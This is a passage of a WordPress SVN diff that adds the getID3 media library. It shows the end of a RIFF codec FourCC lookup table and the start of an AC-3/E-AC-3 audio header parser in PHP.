+			MJ2C	Morgan Multimedia Motion JPEG2000
+			mJPG	IBM Motion JPEG w/ Huffman Tables
+			MJPG	Microsoft Motion JPEG DIB
+			MP42	Microsoft MPEG-4 (low-motion)
+			MP43	Microsoft MPEG-4 (fast-motion)
+			MP4S	Microsoft MPEG-4 (MP4S)
+			mp4s	Microsoft MPEG-4 (mp4s)
+			MPEG	Chromatic Research MPEG-1 Video I-Frame
+			MPG4	Microsoft MPEG-4 Video High Speed Compressor
+			MPGI	Sigma Designs MPEG
+			MRCA	FAST Multimedia Martin Regen Codec
+			MRLE	Microsoft Run Length Encoding
+			MSVC	Microsoft Video 1
+			MTX1	Matrox ?MTX1?
+			MTX2	Matrox ?MTX2?
+			MTX3	Matrox ?MTX3?
+			MTX4	Matrox ?MTX4?
+			MTX5	Matrox ?MTX5?
+			MTX6	Matrox ?MTX6?
+			MTX7	Matrox ?MTX7?
+			MTX8	Matrox ?MTX8?
+			MTX9	Matrox ?MTX9?
+			MV12	Motion Pixels Codec (old)
+			MWV1	Aware Motion Wavelets
+			nAVI	SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm)
+			NT00	NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com)
+			NUV1	NuppelVideo
+			NTN1	Nogatech Video Compression 1
+			NVS0	nVidia GeForce Texture (NVS0)
+			NVS1	nVidia GeForce Texture (NVS1)
+			NVS2	nVidia GeForce Texture (NVS2)
+			NVS3	nVidia GeForce Texture (NVS3)
+			NVS4	nVidia GeForce Texture (NVS4)
+			NVS5	nVidia GeForce Texture (NVS5)
+			NVT0	nVidia GeForce Texture (NVT0)
+			NVT1	nVidia GeForce Texture (NVT1)
+			NVT2	nVidia GeForce Texture (NVT2)
+			NVT3	nVidia GeForce Texture (NVT3)
+			NVT4	nVidia GeForce Texture (NVT4)
+			NVT5	nVidia GeForce Texture (NVT5)
+			PIXL	MiroXL, Pinnacle PCTV
+			PDVC	I-O Data Device Digital Video Capture DV codec
+			PGVV	Radius Video Vision
+			PHMO	IBM Photomotion
+			PIM1	MPEG Realtime (Pinnacle Cards)
+			PIM2	Pegasus Imaging ?PIM2?
+			PIMJ	Pegasus Imaging Lossless JPEG
+			PVEZ	Horizons Technology PowerEZ
+			PVMM	PacketVideo Corporation MPEG-4
+			PVW2	Pegasus Imaging Wavelet Compression
+			Q1.0	Q-Team\'s QPEG 1.0 (www.q-team.de)
+			Q1.1	Q-Team\'s QPEG 1.1 (www.q-team.de)
+			QPEG	Q-Team QPEG 1.0
+			qpeq	Q-Team QPEG 1.1
+			RGB 	Raw BGR32
+			RGBA	Raw RGB w/ Alpha
+			RMP4	REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com)
+			ROQV	Id RoQ File Video Decoder
+			RPZA	Quicktime Apple Video (RPZA)
+			RUD0	Rududu video codec (http://rududu.ifrance.com/rududu/)
+			RV10	RealVideo 1.0 (aka RealVideo 5.0)
+			RV13	RealVideo 1.0 (RV13)
+			RV20	RealVideo G2
+			RV30	RealVideo 8
+			RV40	RealVideo 9
+			RGBT	Raw RGB w/ Transparency
+			RLE 	Microsoft Run Length Encoder
+			RLE4	Run Length Encoded (4bpp, 16-color)
+			RLE8	Run Length Encoded (8bpp, 256-color)
+			RT21	Intel Indeo RealTime Video 2.1
+			rv20	RealVideo G2
+			rv30	RealVideo 8
+			RVX 	Intel RDX (RVX )
+			SMC 	Apple Graphics (SMC )
+			SP54	Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2
+			SPIG	Radius Spigot
+			SVQ3	Sorenson Video 3 (Apple Quicktime 5)
+			s422	Tekram VideoCap C210 YUV 4:2:2
+			SDCC	Sun Communication Digital Camera Codec
+			SFMC	CrystalNet Surface Fitting Method
+			SMSC	Radius SMSC
+			SMSD	Radius SMSD
+			smsv	WorldConnect Wavelet Video
+			SPIG	Radius Spigot
+			SPLC	Splash Studios ACM Audio Codec (www.splashstudios.net)
+			SQZ2	Microsoft VXTreme Video Codec V2
+			STVA	ST Microelectronics CMOS Imager Data (Bayer)
+			STVB	ST Microelectronics CMOS Imager Data (Nudged Bayer)
+			STVC	ST Microelectronics CMOS Imager Data (Bunched)
+			STVX	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format)
+			STVY	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data)
+			SV10	Sorenson Video R1
+			SVQ1	Sorenson Video
+			T420	Toshiba YUV 4:2:0
+			TM2A	Duck TrueMotion Archiver 2.0 (www.duck.com)
+			TVJP	Pinnacle/Truevision Targa 2000 board (TVJP)
+			TVMJ	Pinnacle/Truevision Targa 2000 board (TVMJ)
+			TY0N	Tecomac Low-Bit Rate Codec (www.tecomac.com)
+			TY2C	Trident Decompression Driver
+			TLMS	TeraLogic Motion Intraframe Codec (TLMS)
+			TLST	TeraLogic Motion Intraframe Codec (TLST)
+			TM20	Duck TrueMotion 2.0
+			TM2X	Duck TrueMotion 2X
+			TMIC	TeraLogic Motion Intraframe Codec (TMIC)
+			TMOT	Horizons Technology TrueMotion S
+			tmot	Horizons TrueMotion Video Compression
+			TR20	Duck TrueMotion RealTime 2.0
+			TSCC	TechSmith Screen Capture Codec
+			TV10	Tecomac Low-Bit Rate Codec
+			TY2N	Trident ?TY2N?
+			U263	UB Video H.263/H.263+/H.263++ Decoder
+			UMP4	UB Video MPEG 4 (www.ubvideo.com)
+			UYNV	Nvidia UYVY packed 4:2:2
+			UYVP	Evans & Sutherland YCbCr 4:2:2 extended precision
+			UCOD	eMajix.com ClearVideo
+			ULTI	IBM Ultimotion
+			UYVY	UYVY packed 4:2:2
+			V261	Lucent VX2000S
+			VIFP	VFAPI Reader Codec (www.yks.ne.jp/~hori/)
+			VIV1	FFmpeg H263+ decoder
+			VIV2	Vivo H.263
+			VQC2	Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf)
+			VTLP	Alaris VideoGramPiX
+			VYU9	ATI YUV (VYU9)
+			VYUY	ATI YUV (VYUY)
+			V261	Lucent VX2000S
+			V422	Vitec Multimedia 24-bit YUV 4:2:2 Format
+			V655	Vitec Multimedia 16-bit YUV 4:2:2 Format
+			VCR1	ATI Video Codec 1
+			VCR2	ATI Video Codec 2
+			VCR3	ATI VCR 3.0
+			VCR4	ATI VCR 4.0
+			VCR5	ATI VCR 5.0
+			VCR6	ATI VCR 6.0
+			VCR7	ATI VCR 7.0
+			VCR8	ATI VCR 8.0
+			VCR9	ATI VCR 9.0
+			VDCT	Vitec Multimedia Video Maker Pro DIB
+			VDOM	VDOnet VDOWave
+			VDOW	VDOnet VDOLive (H.263)
+			VDTZ	Darim Vison VideoTizer YUV
+			VGPX	Alaris VideoGramPiX
+			VIDS	Vitec Multimedia YUV 4:2:2 CCIR 601 for V422
+			VIVO	Vivo H.263 v2.00
+			vivo	Vivo H.263
+			VIXL	Miro/Pinnacle Video XL
+			VLV1	VideoLogic/PURE Digital Videologic Capture
+			VP30	On2 VP3.0
+			VP31	On2 VP3.1
+			VP6F	On2 TrueMotion VP6
+			VX1K	Lucent VX1000S Video Codec
+			VX2K	Lucent VX2000S Video Codec
+			VXSP	Lucent VX1000SP Video Codec
+			WBVC	Winbond W9960
+			WHAM	Microsoft Video 1 (WHAM)
+			WINX	Winnov Software Compression
+			WJPG	AverMedia Winbond JPEG
+			WMV1	Windows Media Video V7
+			WMV2	Windows Media Video V8
+			WMV3	Windows Media Video V9
+			WNV1	Winnov Hardware Compression
+			XYZP	Extended PAL format XYZ palette (www.riff.org)
+			x263	Xirlink H.263
+			XLV0	NetXL Video Decoder
+			XMPG	Xing MPEG (I-Frame only)
+			XVID	XviD MPEG-4 (www.xvid.org)
+			XXAN	?XXAN?
+			YU92	Intel YUV (YU92)
+			YUNV	Nvidia Uncompressed YUV 4:2:2
+			YUVP	Extended PAL format YUV palette (www.riff.org)
+			Y211	YUV 2:1:1 Packed
+			Y411	YUV 4:1:1 Packed
+			Y41B	Weitek YUV 4:1:1 Planar
+			Y41P	Brooktree PC1 YUV 4:1:1 Packed
+			Y41T	Brooktree PC1 YUV 4:1:1 with transparency
+			Y42B	Weitek YUV 4:2:2 Planar
+			Y42T	Brooktree UYUV 4:2:2 with transparency
+			Y422	ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera
+			Y800	Simple, single Y plane for monochrome images
+			Y8  	Grayscale video
+			YC12	Intel YUV 12 codec
+			YUV8	Winnov Caviar YUV8
+			YUV9	Intel YUV9
+			YUY2	Uncompressed YUV 4:2:2
+			YUYV	Canopus YUV
+			YV12	YVU12 Planar
+			YVU9	Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes)
+			YVYU	YVYU 4:2:2 Packed
+			ZLIB	Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
+			ZPEG	Metheus Video Zipper
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc');
+	}
+
+	private function EitherEndian2Int($byteword, $signed=false) {
+		if ($this->container == 'riff') {
+			return getid3_lib::LittleEndian2Int($byteword, $signed);
+		}
+		return getid3_lib::BigEndian2Int($byteword, false, $signed);
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio.ac3.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio.ac3.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio.ac3.php	(revision 56912)
@@ -0,0 +1,733 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.ac3.php                                        //
+// module for analyzing AC-3 (aka Dolby Digital) audio files   //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+class getid3_ac3 extends getid3_handler
+{
+    private $AC3header = array();
+    private $BSIoffset = 0;
+
+    const syncword = 0x0B77;
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		///AH
+		$info['ac3']['raw']['bsi'] = array();
+		$thisfile_ac3              = &$info['ac3'];
+		$thisfile_ac3_raw          = &$thisfile_ac3['raw'];
+		$thisfile_ac3_raw_bsi      = &$thisfile_ac3_raw['bsi'];
+
+
+		// http://www.atsc.org/standards/a_52a.pdf
+
+		$info['fileformat'] = 'ac3';
+
+		// An AC-3 serial coded audio bit stream is made up of a sequence of synchronization frames
+		// Each synchronization frame contains 6 coded audio blocks (AB), each of which represent 256
+		// new audio samples per channel. A synchronization information (SI) header at the beginning
+		// of each frame contains information needed to acquire and maintain synchronization. A
+		// bit stream information (BSI) header follows SI, and contains parameters describing the coded
+		// audio service. The coded audio blocks may be followed by an auxiliary data (Aux) field. At the
+		// end of each frame is an error check field that includes a CRC word for error detection. An
+		// additional CRC word is located in the SI header, the use of which, by a decoder, is optional.
+		//
+		// syncinfo() | bsi() | AB0 | AB1 | AB2 | AB3 | AB4 | AB5 | Aux | CRC
+
+		// syncinfo() {
+		// 	 syncword    16
+		// 	 crc1        16
+		// 	 fscod        2
+		// 	 frmsizecod   6
+		// } /* end of syncinfo */
+
+		$this->fseek($info['avdataoffset']);
+		$tempAC3header = $this->fread(100); // should be enough to cover all data, there are some variable-length fields...?
+		$this->AC3header['syncinfo']  =     getid3_lib::BigEndian2Int(substr($tempAC3header, 0, 2));
+		$this->AC3header['bsi']       =     getid3_lib::BigEndian2Bin(substr($tempAC3header, 2));
+		$thisfile_ac3_raw_bsi['bsid'] = (getid3_lib::LittleEndian2Int(substr($tempAC3header, 5, 1)) & 0xF8) >> 3; // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense
+		unset($tempAC3header);
+
+		if ($this->AC3header['syncinfo'] !== self::syncword) {
+			if (!$this->isDependencyFor('matroska')) {
+				unset($info['fileformat'], $info['ac3']);
+				return $this->error('Expecting "'.dechex(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.dechex($this->AC3header['syncinfo']).'"');
+			}
+		}
+
+		$info['audio']['dataformat']   = 'ac3';
+		$info['audio']['bitrate_mode'] = 'cbr';
+		$info['audio']['lossless']     = false;
+
+		if ($thisfile_ac3_raw_bsi['bsid'] <= 8) {
+
+			$thisfile_ac3_raw_bsi['crc1']       = getid3_lib::Bin2Dec($this->readHeaderBSI(16));
+			$thisfile_ac3_raw_bsi['fscod']      =                     $this->readHeaderBSI(2);   // 5.4.1.3
+			$thisfile_ac3_raw_bsi['frmsizecod'] =                     $this->readHeaderBSI(6);   // 5.4.1.4
+			if ($thisfile_ac3_raw_bsi['frmsizecod'] > 37) { // binary: 100101 - see Table 5.18 Frame Size Code Table (1 word = 16 bits)
+				$this->warning('Unexpected ac3.bsi.frmsizecod value: '.$thisfile_ac3_raw_bsi['frmsizecod'].', bitrate not set correctly');
+			}
+
+			$thisfile_ac3_raw_bsi['bsid']  = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended
+			$thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3);
+			$thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3);
+
+			if ($thisfile_ac3_raw_bsi['acmod'] & 0x01) {
+				// If the lsb of acmod is a 1, center channel is in use and cmixlev follows in the bit stream.
+				$thisfile_ac3_raw_bsi['cmixlev'] = $this->readHeaderBSI(2);
+				$thisfile_ac3['center_mix_level'] = self::centerMixLevelLookup($thisfile_ac3_raw_bsi['cmixlev']);
+			}
+
+			if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) {
+				// If the msb of acmod is a 1, surround channels are in use and surmixlev follows in the bit stream.
+				$thisfile_ac3_raw_bsi['surmixlev'] = $this->readHeaderBSI(2);
+				$thisfile_ac3['surround_mix_level'] = self::surroundMixLevelLookup($thisfile_ac3_raw_bsi['surmixlev']);
+			}
+
+			if ($thisfile_ac3_raw_bsi['acmod'] == 0x02) {
+				// When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround.
+				$thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2);
+				$thisfile_ac3['dolby_surround_mode'] = self::dolbySurroundModeLookup($thisfile_ac3_raw_bsi['dsurmod']);
+			}
+
+			$thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1);
+
+			// This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31.
+			// The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.
+			$thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5);                 // 5.4.2.8 dialnorm: Dialogue Normalization, 5 Bits
+
+			$thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1);       // 5.4.2.9 compre: Compression Gain Word Exists, 1 Bit
+			if ($thisfile_ac3_raw_bsi['flags']['compr']) {
+				$thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8);                // 5.4.2.10 compr: Compression Gain Word, 8 Bits
+				$thisfile_ac3['heavy_compression'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr']);
+			}
+
+			$thisfile_ac3_raw_bsi['flags']['langcod'] = (bool) $this->readHeaderBSI(1);     // 5.4.2.11 langcode: Language Code Exists, 1 Bit
+			if ($thisfile_ac3_raw_bsi['flags']['langcod']) {
+				$thisfile_ac3_raw_bsi['langcod'] = $this->readHeaderBSI(8);              // 5.4.2.12 langcod: Language Code, 8 Bits
+			}
+
+			$thisfile_ac3_raw_bsi['flags']['audprodinfo'] = (bool) $this->readHeaderBSI(1);  // 5.4.2.13 audprodie: Audio Production Information Exists, 1 Bit
+			if ($thisfile_ac3_raw_bsi['flags']['audprodinfo']) {
+				$thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5);             // 5.4.2.14 mixlevel: Mixing Level, 5 Bits
+				$thisfile_ac3_raw_bsi['roomtyp']  = $this->readHeaderBSI(2);             // 5.4.2.15 roomtyp: Room Type, 2 Bits
+
+				$thisfile_ac3['mixing_level'] = (80 + $thisfile_ac3_raw_bsi['mixlevel']).'dB';
+				$thisfile_ac3['room_type']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp']);
+			}
+
+
+			$thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5);                // 5.4.2.16 dialnorm2: Dialogue Normalization, ch2, 5 Bits
+			$thisfile_ac3['dialogue_normalization2'] = '-'.$thisfile_ac3_raw_bsi['dialnorm2'].'dB';  // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.
+
+			$thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1);       // 5.4.2.17 compr2e: Compression Gain Word Exists, ch2, 1 Bit
+			if ($thisfile_ac3_raw_bsi['flags']['compr2']) {
+				$thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8);               // 5.4.2.18 compr2: Compression Gain Word, ch2, 8 Bits
+				$thisfile_ac3['heavy_compression2'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr2']);
+			}
+
+			$thisfile_ac3_raw_bsi['flags']['langcod2'] = (bool) $this->readHeaderBSI(1);    // 5.4.2.19 langcod2e: Language Code Exists, ch2, 1 Bit
+			if ($thisfile_ac3_raw_bsi['flags']['langcod2']) {
+				$thisfile_ac3_raw_bsi['langcod2'] = $this->readHeaderBSI(8);             // 5.4.2.20 langcod2: Language Code, ch2, 8 Bits
+			}
+
+			$thisfile_ac3_raw_bsi['flags']['audprodinfo2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.21 audprodi2e: Audio Production Information Exists, ch2, 1 Bit
+			if ($thisfile_ac3_raw_bsi['flags']['audprodinfo2']) {
+				$thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5);            // 5.4.2.22 mixlevel2: Mixing Level, ch2, 5 Bits
+				$thisfile_ac3_raw_bsi['roomtyp2']  = $this->readHeaderBSI(2);            // 5.4.2.23 roomtyp2: Room Type, ch2, 2 Bits
+
+				$thisfile_ac3['mixing_level2'] = (80 + $thisfile_ac3_raw_bsi['mixlevel2']).'dB';
+				$thisfile_ac3['room_type2']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp2']);
+			}
+
+			$thisfile_ac3_raw_bsi['copyright'] = (bool) $this->readHeaderBSI(1);         // 5.4.2.24 copyrightb: Copyright Bit, 1 Bit
+
+			$thisfile_ac3_raw_bsi['original']  = (bool) $this->readHeaderBSI(1);         // 5.4.2.25 origbs: Original Bit Stream, 1 Bit
+
+			$thisfile_ac3_raw_bsi['flags']['timecod1'] = $this->readHeaderBSI(2);            // 5.4.2.26 timecod1e, timcode2e: Time Code (first and second) Halves Exist, 2 Bits
+			if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x01) {
+				$thisfile_ac3_raw_bsi['timecod1'] = $this->readHeaderBSI(14);            // 5.4.2.27 timecod1: Time code first half, 14 bits
+				$thisfile_ac3['timecode1'] = 0;
+				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x3E00) >>  9) * 3600;  // The first 5 bits of this 14-bit field represent the time in hours, with valid values of 0�23
+				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x01F8) >>  3) *   60;  // The next 6 bits represent the time in minutes, with valid values of 0�59
+				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x0003) >>  0) *    8;  // The final 3 bits represents the time in 8 second increments, with valid values of 0�7 (representing 0, 8, 16, ... 56 seconds)
+			}
+			if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x02) {
+				$thisfile_ac3_raw_bsi['timecod2'] = $this->readHeaderBSI(14);            // 5.4.2.28 timecod2: Time code second half, 14 bits
+				$thisfile_ac3['timecode2'] = 0;
+				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x3800) >> 11) *   1;              // The first 3 bits of this 14-bit field represent the time in seconds, with valid values from 0�7 (representing 0-7 seconds)
+				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x07C0) >>  6) *  (1 / 30);        // The next 5 bits represents the time in frames, with valid values from 0�29 (one frame = 1/30th of a second)
+				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x003F) >>  0) * ((1 / 30) / 60);  // The final 6 bits represents fractions of 1/64 of a frame, with valid values from 0�63
+			}
+
+			$thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1);
+			if ($thisfile_ac3_raw_bsi['flags']['addbsi']) {
+				$thisfile_ac3_raw_bsi['addbsi_length'] = $this->readHeaderBSI(6) + 1; // This 6-bit code, which exists only if addbside is a 1, indicates the length in bytes of additional bit stream information. The valid range of addbsil is 0�63, indicating 1�64 additional bytes, respectively.
+
+				$this->AC3header['bsi'] .= getid3_lib::BigEndian2Bin($this->fread($thisfile_ac3_raw_bsi['addbsi_length']));
+
+				$thisfile_ac3_raw_bsi['addbsi_data'] = substr($this->AC3header['bsi'], $this->BSIoffset, $thisfile_ac3_raw_bsi['addbsi_length'] * 8);
+				$this->BSIoffset += $thisfile_ac3_raw_bsi['addbsi_length'] * 8;
+			}
+
+
+		} elseif ($thisfile_ac3_raw_bsi['bsid'] <= 16) { // E-AC3
+
+
+$this->error('E-AC3 parsing is incomplete and experimental in this version of getID3 ('.$this->getid3->version().'). Notably the bitrate calculations are wrong -- value might (or not) be correct, but it is not calculated correctly. Email info@getid3.org if you know how to calculate EAC3 bitrate correctly.');
+			$info['audio']['dataformat'] = 'eac3';
+
+			$thisfile_ac3_raw_bsi['strmtyp']          =        $this->readHeaderBSI(2);
+			$thisfile_ac3_raw_bsi['substreamid']      =        $this->readHeaderBSI(3);
+			$thisfile_ac3_raw_bsi['frmsiz']           =        $this->readHeaderBSI(11);
+			$thisfile_ac3_raw_bsi['fscod']            =        $this->readHeaderBSI(2);
+			if ($thisfile_ac3_raw_bsi['fscod'] == 3) {
+				$thisfile_ac3_raw_bsi['fscod2']       =        $this->readHeaderBSI(2);
+				$thisfile_ac3_raw_bsi['numblkscod'] = 3; // six blocks per syncframe
+			} else {
+				$thisfile_ac3_raw_bsi['numblkscod']   =        $this->readHeaderBSI(2);
+			}
+			$thisfile_ac3['bsi']['blocks_per_sync_frame'] = self::blocksPerSyncFrame($thisfile_ac3_raw_bsi['numblkscod']);
+			$thisfile_ac3_raw_bsi['acmod']            =        $this->readHeaderBSI(3);
+			$thisfile_ac3_raw_bsi['flags']['lfeon']   = (bool) $this->readHeaderBSI(1);
+			$thisfile_ac3_raw_bsi['bsid']             =        $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended
+			$thisfile_ac3_raw_bsi['dialnorm']         =        $this->readHeaderBSI(5);
+			$thisfile_ac3_raw_bsi['flags']['compr']       = (bool) $this->readHeaderBSI(1);
+			if ($thisfile_ac3_raw_bsi['flags']['compr']) {
+				$thisfile_ac3_raw_bsi['compr']        =        $this->readHeaderBSI(8);
+			}
+			if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
+				$thisfile_ac3_raw_bsi['dialnorm2']    =        $this->readHeaderBSI(5);
+				$thisfile_ac3_raw_bsi['flags']['compr2']  = (bool) $this->readHeaderBSI(1);
+				if ($thisfile_ac3_raw_bsi['flags']['compr2']) {
+					$thisfile_ac3_raw_bsi['compr2']   =        $this->readHeaderBSI(8);
+				}
+			}
+			if ($thisfile_ac3_raw_bsi['strmtyp'] == 1) { // if dependent stream
+				$thisfile_ac3_raw_bsi['flags']['chanmap'] = (bool) $this->readHeaderBSI(1);
+				if ($thisfile_ac3_raw_bsi['flags']['chanmap']) {
+					$thisfile_ac3_raw_bsi['chanmap']  =        $this->readHeaderBSI(8);
+				}
+			}
+			$thisfile_ac3_raw_bsi['flags']['mixmdat']     = (bool) $this->readHeaderBSI(1);
+			if ($thisfile_ac3_raw_bsi['flags']['mixmdat']) { // Mixing metadata
+				if ($thisfile_ac3_raw_bsi['acmod'] > 2) { // if more than 2 channels
+					$thisfile_ac3_raw_bsi['dmixmod']  =        $this->readHeaderBSI(2);
+				}
+				if (($thisfile_ac3_raw_bsi['acmod'] & 0x01) && ($thisfile_ac3_raw_bsi['acmod'] > 2)) { // if three front channels exist
+					$thisfile_ac3_raw_bsi['ltrtcmixlev'] =        $this->readHeaderBSI(3);
+					$thisfile_ac3_raw_bsi['lorocmixlev'] =        $this->readHeaderBSI(3);
+				}
+				if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { // if a surround channel exists
+					$thisfile_ac3_raw_bsi['ltrtsurmixlev'] =        $this->readHeaderBSI(3);
+					$thisfile_ac3_raw_bsi['lorosurmixlev'] =        $this->readHeaderBSI(3);
+				}
+				if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { // if the LFE channel exists
+					$thisfile_ac3_raw_bsi['flags']['lfemixlevcod'] = (bool) $this->readHeaderBSI(1);
+					if ($thisfile_ac3_raw_bsi['flags']['lfemixlevcod']) {
+						$thisfile_ac3_raw_bsi['lfemixlevcod']  =        $this->readHeaderBSI(5);
+					}
+				}
+				if ($thisfile_ac3_raw_bsi['strmtyp'] == 0) { // if independent stream
+					$thisfile_ac3_raw_bsi['flags']['pgmscl'] = (bool) $this->readHeaderBSI(1);
+					if ($thisfile_ac3_raw_bsi['flags']['pgmscl']) {
+						$thisfile_ac3_raw_bsi['pgmscl']  =        $this->readHeaderBSI(6);
+					}
+					if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
+						$thisfile_ac3_raw_bsi['flags']['pgmscl2'] = (bool) $this->readHeaderBSI(1);
+						if ($thisfile_ac3_raw_bsi['flags']['pgmscl2']) {
+							$thisfile_ac3_raw_bsi['pgmscl2']  =        $this->readHeaderBSI(6);
+						}
+					}
+					$thisfile_ac3_raw_bsi['flags']['extpgmscl'] = (bool) $this->readHeaderBSI(1);
+					if ($thisfile_ac3_raw_bsi['flags']['extpgmscl']) {
+						$thisfile_ac3_raw_bsi['extpgmscl']  =        $this->readHeaderBSI(6);
+					}
+					$thisfile_ac3_raw_bsi['mixdef']  =        $this->readHeaderBSI(2);
+					if ($thisfile_ac3_raw_bsi['mixdef'] == 1) { // mixing option 2
+						$thisfile_ac3_raw_bsi['premixcmpsel']  = (bool) $this->readHeaderBSI(1);
+						$thisfile_ac3_raw_bsi['drcsrc']        = (bool) $this->readHeaderBSI(1);
+						$thisfile_ac3_raw_bsi['premixcmpscl']  =        $this->readHeaderBSI(3);
+					} elseif ($thisfile_ac3_raw_bsi['mixdef'] == 2) { // mixing option 3
+						$thisfile_ac3_raw_bsi['mixdata']       =        $this->readHeaderBSI(12);
+					} elseif ($thisfile_ac3_raw_bsi['mixdef'] == 3) { // mixing option 4
+						$mixdefbitsread = 0;
+						$thisfile_ac3_raw_bsi['mixdeflen']     =        $this->readHeaderBSI(5); $mixdefbitsread += 5;
+						$thisfile_ac3_raw_bsi['flags']['mixdata2'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+						if ($thisfile_ac3_raw_bsi['flags']['mixdata2']) {
+							$thisfile_ac3_raw_bsi['premixcmpsel']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							$thisfile_ac3_raw_bsi['drcsrc']        = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							$thisfile_ac3_raw_bsi['premixcmpscl']  =        $this->readHeaderBSI(3); $mixdefbitsread += 3;
+							$thisfile_ac3_raw_bsi['flags']['extpgmlscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['extpgmlscl']) {
+								$thisfile_ac3_raw_bsi['extpgmlscl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
+							}
+							$thisfile_ac3_raw_bsi['flags']['extpgmcscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['extpgmcscl']) {
+								$thisfile_ac3_raw_bsi['extpgmcscl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
+							}
+							$thisfile_ac3_raw_bsi['flags']['extpgmrscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['extpgmrscl']) {
+								$thisfile_ac3_raw_bsi['extpgmrscl']    =        $this->readHeaderBSI(4);
+							}
+							$thisfile_ac3_raw_bsi['flags']['extpgmlsscl']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['extpgmlsscl']) {
+								$thisfile_ac3_raw_bsi['extpgmlsscl']   =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
+							}
+							$thisfile_ac3_raw_bsi['flags']['extpgmrsscl']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
+							if ($thisfile_ac3_raw_bsi['flags']['extpgmrsscl']) {
+								$thisfile_ac3_raw_bsi['extpgmrsscl']   =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
+							}
